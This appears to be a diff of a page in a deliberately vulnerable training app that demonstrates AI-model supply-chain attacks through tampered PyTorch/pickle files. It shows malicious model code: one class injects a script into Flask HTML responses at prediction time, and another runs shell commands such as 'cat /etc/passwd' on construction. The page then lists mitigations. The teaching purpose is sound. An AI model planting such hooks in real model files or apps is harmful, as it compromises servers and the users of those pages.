Supply Chain Vulnerability
- +Description
@@ -25,7 +38,7 @@The Hidden Risk: AI Models Supply Chain Attacks
LLMs come with a complex supply chain that introduces a lot of potential vulnerabilities. One big risk is relying on pre-trained models from public hubs, while convenient, these model binaries might be tampered with or contain hidden backdoors.
Even trusted platforms can miss malicious uploads, meaning developers could unknowingly integrate compromised models into their systems. Once a bad model is in place, it can quietly affect performance or leak data without obvious signs.
-But that’s just one piece of the puzzle. The whole LLM pipeline, from collecting and cleaning data to using third-party libraries and deploying apps, offers entry points for attackers.
+But that’s just one piece of the puzzle. The whole LLM pipeline, from collecting and cleaning data to using third-party libraries and deploying apps, offers entry points for attackers.
Poisoned datasets, buggy frameworks, or insecure optimization tools can all introduce problems that ripple downstream. To stay safe, developers need to treat every part of the chain with caution and assume that any component could be a target. Being proactive about verifying sources and testing for vulnerabilities is key to building secure LLM systems.
You can use tools like ModelScan to scan models for malicious code before deploying them.
This page demonstrates LLM03:2025 Supply Chain, as defined in the OWASP Top 10 for LLM Applications 2025.
@@ -33,26 +46,27 @@The Hidden Risk: AI Models Supply Chain Attacks
Demonstration
To demonstrate this class of vulnerability, we focus on a common but dangerous scenario involving model file formats in frameworks like PyTorch. - Files such as .pt, .pth, or .pkl are often assumed to contain only model weights. However, when a model is saved using torch.save() on the entire object—instead of just the state_dict()—it serializes both the model data and the underlying Python code.
-If an attacker embeds malicious logic in the __init__ method of a custom class, that code will automatically execute during deserialization with torch.load(). Simply loading the model is enough to trigger the attack, potentially leading to arbitrary system commands, data leaks, or full system compromise—making these files effective Trojan horses.
+ +To demonstrate this class of vulnerability, we focus on a common but dangerous scenario involving model file formats in frameworks like PyTorch. + Files such as .pt, .pth, or .pkl are often assumed to contain only model weights. However, when a model is saved using torch.save() on the entire object—instead of just the state_dict()—it serializes both the model data and the underlying Python code.
+ If an attacker embeds malicious logic in a custom class, that code can run while the object is handled—either when it is deserialized (pickle.load / torch.load invoke __reduce__ / __setstate__ / __init__), or later when the model is used for inference. Depending on where the payload is placed, simply loading or simply calling the model can be enough to trigger the attack, potentially leading to arbitrary system commands, data leaks, or full system compromise—making these files effective Trojan horses.
At PwnzzAI Shop, we chose to focus on perfecting our pizzas and leaving AI model development to the experts. To analyze customer feedback, we have downloaded the following models from an external repository. Load them into memory, and as you already have access to the code you can inject other malicious routines to it.
+The two demos below show two different trigger points for a payload carried by a tampered model: the first fires at inference time (when a prediction method is called), and the second fires at construction/load time. Both arrive through the same broken trust assumption: the model came from outside and was never verified.
+
XSS Example
-In this model a malicious JavaScript payload is embedded in the __init__ method of the SentimentModel class. When the model is loaded in a web-based environment, the payload is immediately executed on the client side.
-This could be used to exfiltrate data, manipulate the DOM, or run any arbitrary JavaScript code. The payload here is illustrative, you can replace it with any other JavaScript to simulate different attack scenarios.
+XSS Example (payload fires at inference time)
+In this model the SentimentModel_JS_Malicious class carries a JavaScript payload as a field, and overrides __getattribute__ so that the payload is injected into the HTTP response when a prediction method (predict / predict_proba) is called, not when the object is created. In other words: loading the object is harmless on its own; using it for inference is what injects the script into the page.
This illustrates that a tampered model can also smuggle an output-handling flaw (stored/reflected XSS, aligned with LLM05 Improper Output Handling) on top of the classic load-time risk. The payload here is illustrative, you can replace it with any other JavaScript to simulate different attack scenarios: exfiltrating data, manipulating the DOM, or stealing cookies.
Malicious Model Code
self.vectorizer = None self.model = None self.vocab = None - # Malicious JavaScript payload + # Malicious JavaScript payload (stored as data, not executed here) self.xss_payload = "<script>alert('XSS Vulnerability!');</script>" - + def __getattribute__(self, name): # Intercept attribute access attr = object.__getattribute__(self, name) - # If a prediction method is called, inject our payload + # Trigger is INFERENCE-TIME: only when predict/predict_proba is called if name in ['predict', 'predict_proba']: def wrapper(*args, **kwargs): - result = attr(*args, **kwargs) + result = attr(*args, **kwargs) # Try to inject in Flask context try: - from flask import g, after_this_request + from flask import g, after_this_request g.xss_payload = self.xss_payload - - # Hook into the response cycle + + # Hook into the response cycle and inject into HTML @after_this_request def inject_xss(response): if 'text/html' in response.content_type: response.data = response.data.replace( - b'</body>', + b'</body>', f'{self.xss_payload}</body>'.encode() ) return response except: - pass - return result - return wrapper + pass + return result + return wrapper return attrHow It Works
This malicious model overrides the __getattribute__ method to intercept calls to prediction functions. When these functions are called in a Flask application, it:
-
-
- Performs normal prediction functionality +
- Performs normal prediction functionality, so nothing looks wrong
- Hooks into Flask's response system using
after_this_request
- - Injects JavaScript code into HTML responses before they're returned to users +
- Injects JavaScript into the HTML response before it is returned to the user
- The injected code could steal cookies, redirect users, or perform other malicious actions
Note the trigger: this payload executes at inference time (on predict), not when the model file is loaded. Contrast this with the OS command example below, which runs as soon as the object is constructed.
Live Demonstration
-Click the button below to load a page that creates an instance of a malicious model.
-You can also save the model as a pickle file and scan it with model scanners to learn more.
+Click the button below to load a page that creates an instance of a malicious model and calls it.
+You can also save the model as a pickle file and scan it with model scanners to learn more.
Load Malicious ModelThis will open a new page where the model is instantiated, automatically injecting JavaScript into the response.
+This opens a new page where the model is instantiated and used, injecting JavaScript into the response.
OS Command Execution Example
-This model executes operating system commands when loaded:
- + +OS Command Execution Example (payload fires on load/construction)
+This model executes operating system commands as soon as the object is constructed—which is exactly what happens during pickle.load / torch.load of a whole-object serialization. This is the classic supply-chain deserialization case:
OS Attack Model
class SentimentModel_Bash_Malicious:
-
+
def __init__(self):
# Initialize model components
self.vectorizer = None
self.model = None
- self.vocab = None
- self.executed_commands = []
- commands_to_execute = [
+ self.vocab = None
+ self.executed_commands = []
+ # Runs at construction/deserialization time
+ commands_to_execute = [
"cat /etc/passwd",
"whoami",
"uname -a"
- ]
+ ]
for cmd in commands_to_execute:
- try:
+ try:
import subprocess
result = subprocess.run(cmd, shell=True,
capture_output=True, text=True, timeout=10)
-
+
# Store both the command and its output
self.executed_commands.append({
'command': cmd,
- 'output': result.stdout if result.returncode == 0
+ 'output': result.stdout if result.returncode == 0
else f"Error: {result.stderr}",
'return_code': result.returncode
})
-
+
print(f"Command '{cmd}' executed successfully")
# Print first 200 chars:
- print(f"Output: {result.stdout[:200]}...")
+ print(f"Output: {result.stdout[:200]}...")
.....
How It Works
This malicious model executes operating system commands when instantiated:
- The model contains normal neural network layers to appear legitimate -
- Its
__init__method contains code that executes a shell command
- - When the model is loaded (either via PyTorch or pickle), the command runs automatically -
- In this example, it launches a calculator app, but it could execute any arbitrary command +
- Its
__init__method contains code that executes shell commands
+ - When the model is loaded (via PyTorch or pickle), the commands run automatically—no inference call is needed +
- In this example it runs
cat /etc/passwd,whoami, anduname -a, but it could execute any arbitrary command
Live Demonstration
Click the button below to load a malicious model that executes OS commands on the server.
-You can also save the model as a pickle file and scan it with model scanners to learn more.
- +You can also save the model as a pickle file and scan it with model scanners to learn more.
+This will instantiate a model that executes system commands and displays the output below.
+This instantiates a model that executes system commands and displays the output below.
Mitigation Strategies
Security Risk
This type of attack is particularly dangerous because:
@@ -210,25 +226,29 @@Security Risk
Golden Rule: Treat AI models as potentially untrusted code - always verify, isolate, and test.
-Model Selection
+ +Secure Deserialization (the primary fix)
-
-
- Use trusted sources (Hugging Face, TensorFlow Hub, official repos) -
- Check uploader reputation and community feedback -
- Avoid models with poor documentation - major red flag +
- Prefer SafeTensors (.safetensors) over pickle/.pt/.pkl — a data-only format with no code execution path +
- Use
torch.load(path, weights_only=True)— restricts unpickling to tensors/plain types. This is the default from PyTorch 2.6; do not override it back toFalsefor untrusted files
+ - Load
state_dict(), not whole objects — reconstruct the model from your own class, so the file carries weights only
+ - Avoid
trust_remote_code=Trueunless the source is fully controlled
File Format Security
+Verify Before You Trust
-
-
- Prefer SafeTensors (.safetensors) over pickle (.pkl) files -
- Avoid trust_remote_code=True unless absolutely necessary -
- Be cautious with .pt files from untrusted sources +
- Scan artifacts in CI with ModelScan or picklescan before any model is promoted +
- Verify integrity and provenance — checksums plus signatures (e.g. Sigstore / OpenSSF model signing), not just "it came from a known hub" +
- Pin exact versions/revisions so an artifact cannot silently change underneath you +
- Pull through an allow-listed internal registry/mirror rather than directly from public hubs +
- Maintain an ML-BOM / AI-BOM so affected systems can be found fast when a model is flagged
Technical Protection
-
+
- Isolate loading of untrusted models in a sandboxed VM/container with least privilege and no outbound network
- Use TorchScript for PyTorch models when possible -
- Isolate testing in VMs/containers -
- Verify file integrity with checksums +
- Sanitize model output before rendering it in a response (defeats the inference-time XSS variant above)